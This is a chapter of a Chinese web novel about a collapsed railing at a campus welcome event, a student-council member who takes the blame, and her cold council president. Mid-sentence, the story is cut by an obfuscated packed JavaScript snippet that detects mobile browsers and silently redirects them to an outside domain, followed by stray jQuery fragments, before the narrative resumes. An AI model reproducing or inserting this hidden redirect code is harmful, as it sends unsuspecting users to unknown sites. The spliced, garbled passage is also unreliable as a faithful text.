凌晨三点,现场才算处理的差不多了。
现场有不少学生被惊吓住,现在都没回过神来,事故出现的太突然了,加上他们还是新生,根本就没见过这种场景。
大部分学生会成员都神情惊惶,很难再去处理后续,更糟糕的是这时候孟綦黎也找不到人。
众人丧失了主心骨,团队如同一盘散沙。
宁绘没办法,只能带着许允美去处理一个个问题,两个人像个陀螺一样,连着不停转了大半夜。
两个人处理好伤员回到现场,就看到少量吃瓜群众围绕在周围,拍照,记录这场迎新活动的惨烈现场。
甚至有人偷偷对着宁绘拍来拍去。
许允美想去阻止。
宁绘拦住她,声音有些嘶哑。
“没用了。”
许允美知道宁绘说的没错。
他们捅了个天大的篓子。
迎新会现场出现重大安全事故。这种事情是要被载入校史的。
放任人流不控制,没有任何安全措施,导致玻璃栏杆碎裂,人员受伤,每一件事都是说明学生会办事不力,管理有问题。
惩罚处分下来,一个人也跑不掉。
“学姐对不起,我要是听你的话就好了。”
宁绘轻轻叹了口气,哪有那么多要是。
“去跟我一起去一趟二楼吧,先把现场清理掉。”
“好。”
急忙赶来的礼堂负责人急忙安抚着校董们的情绪。
“各位领导,非常的不好意思,让你们担忧了,你们放心,后续的事情......”
张董事却一脸担心的看向另外一个人:“由現,你没事吧,有没有受伤,有没有吓到?要不要去医院做个检查?你要是有一点好歹,我可没有办法跟你爸爸交代。”
“没事的,多谢张叔叔关心。”
看样子确实没事,张董事放下心来,转头换上十分不满的表情。
“主办方是谁?把你邀请过来也不做一点安全措施,一门心思想着流量话题,完全置学生的安全于不顾,我看,他们有大问题!必须要严加惩治!”
负责人上前一步连忙说:“董事放心,这件事情我们会严查,找出背后原因,然后给予相关人员严厉批评!”
张董事却不是好糊弄的,身为校董气势十分压人:“我问你主办方是谁?负责人是谁?”
孟綦黎不知道突然从哪里冒了出来,听到了张董事这句话,脸色顿时惨白如纸。
“这.....”负责人十分的为难,张校董摆明了今天是想找个出气桶,但是他也没办法眼睁睁的把学生推出去。
他眼神看了好几遍孟綦黎,女孩似乎也没意识到事情演变成这个地步,神情带着几分迷茫跟惶然,口红都挡不住她苍白的底色,像是被吓懵了。
出了这事谁不能被吓懵啊。
几十个人从二楼掉下来,还伴随着漫天的碎玻璃,谁能想到一场迎新活动能出这么大的安全事故?
负责人叹了口气,只能说,谁负责的这事,就是注定的命里倒霉。
数道目光看向孟綦黎,可孟綦黎却依旧迟迟不说话,也不站出来。
现场僵持着,气氛越来越紧张,张董事的脸色也越来越坏。
“不好意思张董事,这次的主办方是学生会,我是这次活动的执行人,我叫宁绘。”
一道柔弱但是不乏力量的声音打破了僵局。
众人顺着声音,看到一道细长的身影,她应该是在忙活着处理现场,手里用担架抬着碎掉的玻璃。
她非常的瘦,又瘦又长,头发都被汗水打湿,身体薄弱的像是随时能被风吹走。
她穿着一条短裤,短裤下面的腿也像两根麻杆,只不过其中一条腿上还有一大片擦伤的伤口,又红又肿,难以忽视,看得出来是今天的伤口,还没来得及处理。
张董事同样也看到了她,眉头不自觉一皱,出口的语气依旧十分的严厉。
“是你啊,发生这种问题你们怎么干活的?这是重大安全事故知道吗?你们没有安防措施吗需要出了人命你们担待得起的吗?你们对得起学校对你们的栽培吗?!”
张董事一通问责出来,现场吓得更不敢说话。
可眼前的女孩子却并没有被张董事的气势被吓到,她的神情一如既往的镇定平静。
开口说话的声音细细的,可却十分的调理清晰:“非常抱歉张董事,邀请李由現同学,是因为我们想给予每个新生最完美的迎新体验,为了保障这次活动的顺利进行,我们一共安排了二十个人负责人流疏通,是以往活动的四倍,但我们却低估了李由現同学的受欢迎程度,现场出了这种问题也是我们没有预料到的,也是我们最不希望看到的局面。”
“不过您放心,现场受伤的五位同学我们已经及时送往医院了,也通知了他们的家长,我们会实时跟进他们的消息,负责到底,这次也算是运气好,提前暴露出了学校建材质量安全的问题,避免了之后大型活动可能出现更严重的事故,已经是不幸中的万幸了。”
“另外关于这次活动的舆论问题也安排了人进行提前干预,避免在校外造成什么影响。”
“出了事情我们就不会逃避责任,并且会深刻的反省自己,避免以后再次出现在类似的问题。”
宁绘一说完,负责人紧张的心稍稍松了口气。
面对校董,说话依旧有条不紊,从学生会安保问题,到后续伤员安置,处理的完善妥帖细致,遇事不慌,胆大心细。
更重要的是,敢于站出来,承担责任。
学生做到这样子,已经是非常难得了,张董事应该也能看得出来吧?
果然,听完这番解释,张董事的脸色也柔和了很多:“你是不是学生会长?这里的事情你都要好好处理结束,搞清楚到底是怎么回事,以后绝对不能再发生这样的事情,要给董事会一个完整的交代。”
宁绘张了张嘴,想说自己不是会长,看了眼角落里孟綦黎,又选择沉默了下来。
送走了张校董,负责人终于拿起了自己作为学校领导的架子,严肃厉声地说道:
“你们真是胆大啊,这么大的一场活动,给捅出这么大一篓子!”
“安全隐患,安全隐患,你们是当放屁吗?!往里面放那么多人,不要命了啊都!”
孟綦黎像是终于回了神,声音有些虚弱的说道:“徐主任,对不起,这事是我没处理好,早知道会发生这种事情,我是一定会提前干预的。我是会长,责任都在我,我会把事情好好收尾妥善处理的。”
“也不是你一个人的事,你把责任全扛下来也没用!”徐主任眼神不好的扫过学生会众人,语气十分的不满:“这么多人,就没一个人意识到问题吗?出事全靠会长扛责任,你们也不反思一下!”
一旁的许允美嘴巴比脑子快:“不是的呀主任,我们是有提前关闭入口控制人数的,但是.....”
说道一半意识到自己好像说了不该说的。
徐主任眼睛一横:“是什么?”
许允美下意识看了眼身边的宁绘,又看了眼会长,语气弱弱:“是会长下命令说不限人数,并且撤掉了入口的门禁.....”
教导主任一脸恨铁不成钢的看了看孟綦黎,“你唉!你!亏你还是会长!好好反思一下自己吧。现在说这些都没用了,这事学校肯定会派人来查,到时候你就准备好喝一壶的。”
而后又转身指了指众人:“还有你们一个个的都跑不了!”
说完就扭头走了。
一群人看孟綦黎脸色惨白如纸,上前关心的问道:
“会长,你还好吧?”
“会长,你没事吧,我们知道你也是为了学生会好。你也不要过于自责了。”
“我没事。”孟綦黎轻轻吐出一口气,似乎恢复了过来。
有人担心的问道:
“会长,我们会不会有什么处分啊?这件事情学校会怎么处理?”
一双双眼睛看向孟綦黎,她是会长,她必须给众人一个交代,处理结果会直接影响到她作为会长的威信。
孟綦黎思考了一会,恢复了镇定,脑中慢慢组织语言:“这次的事情我会去跟董事会争取,会尽量减轻这次的事件带来的影响,有什么问题我一个人来扛,不会影响到大家的,今晚的事情大
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309342|182846||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
家都做的很棒,但不要把这件事情放进心里,回家赶快洗个澡,睡个好觉,明天我给大家批个假。”
孟綦黎恢复了状态,一番话稳定军心,让所有人心中大石头落地。
她能坐上会长的位置,也是有两把刷子的。
这件事情性质很严重,但看孟綦黎的状态,应该不会有什么大问题。
大家彻底放下心来。
宁绘也拿了瓶水,上前表示关心:“会长,渴不渴,要不要喝点水?。”
她把水递到孟綦黎跟前。
孟綦黎的眼神在水瓶上停留了一会,而后收回目光继续看向众人,既没有接过水,也没有说不喝。
“大家赶紧回家吧,到家了记得给我报平安。”
“好的会长,会长再见。”
“再见。”
宁绘收回递了半天的水,或许她并不想喝。
学生会的人一一走到孟綦黎跟前跟她告别。
宁绘也是。
刚准备开口,孟綦梨却像是没有看到她一样,再次视线掠过她,直接对身后的人说:“回家早点休息,今天辛苦了。”
宁绘垂下眼睛,这下不是错觉了。
她把孟綦黎给得罪了。
之前就因为人流的事情质疑过孟綦黎,结果也证明她的担忧是对的,这件事情更是被许允美捅到教导主任面前,让她下不来台。
心中有情绪是正常的,任何一个有野心的领导面对这样一个下属,确实会心里不舒服,尤其是当失败更加证实了这件事情的时候。
宁绘深知她的这些行为是大忌,她向来很注意,但是今天的情况明显不同,人命当前,安全攸关,她做不到视而不见。
宁绘非常明白孟綦黎的情绪到底是因何而来,只是现在多说无用。希望,等过几天孟綦黎自己能想清楚。
一个个人上了车,不远处的许允美的车也到了。
“宁学姐,你打车吗?要不要我先捎你一程啊!”许允美拉着车门,半边身子跨进了车里,扯着嗓子对宁绘喊道。
以许允美的性格,她估计也意识不到自己又狠狠坑了她一把。
许允美是自己的下属,孟綦黎不会跟她计较,但是会把帐都算在自己头上。
其中弯弯绕绕,宁绘心知肚明。
她这两年给她擦屁股的事情干的也不少,也不想跟许允美去讲,讲也讲不明白。
“马上就到了,你先回去吧!”
“好嘞!”
所有人都上了车,宁绘看了下手上的机械表,现在是4:25分,再过一个半小时,她就能赶上第一班公交了。
她家住在郊区,从学校打车回去要一百多块钱,是她跟妈妈两天的生活费。
回去的公交加地铁大概只要四块钱,她还是知道怎么算账的。
能坐公交就不打车了。
她随便找了张长椅坐下,躺在椅子上,忙碌了一天的疲惫终于涌了上来,困意袭来,她迷迷糊糊闭上了眼睛。
脑子又困又累,像是在做梦,脑子闪过一些乱七八糟的东西。
挤得摩拳接踵的观众席,还有孟綦黎自信又羞怯的表情,廊道里偷听到的对话。
最后有印象的是一双眼睛,一双漆黑又荒凉的眼睛,但是她看不清,只感觉里面盛着轻微模糊的笑意,轻薄到风一吹就散。
“我很开心,你们开心吗?”
接着鲜花落地。
宁绘很想睁眼看清那双眼。
于是碎片再次划过。
鲜花落地。
碎片再次划过。
大概闪过了几十次,宁绘使劲瞪大了眼睛。
这次,她终于看清了。
那双眼睛直视着二楼,像是对接下来发生的事情了然于心一样,眼尾轻轻下垂,泄露出一抹凉薄。
盛在里面的根本不是笑意,而是一种浅淡到接近于无的嘲讽与恶意。
鲜花落地,接着是尖叫声。
台上的人俯视着台下,露出漠然不屑的神情。
“叮叮叮。”
手表闹铃让宁绘从梦中惊醒。
她匆忙提起书包朝校门口走去。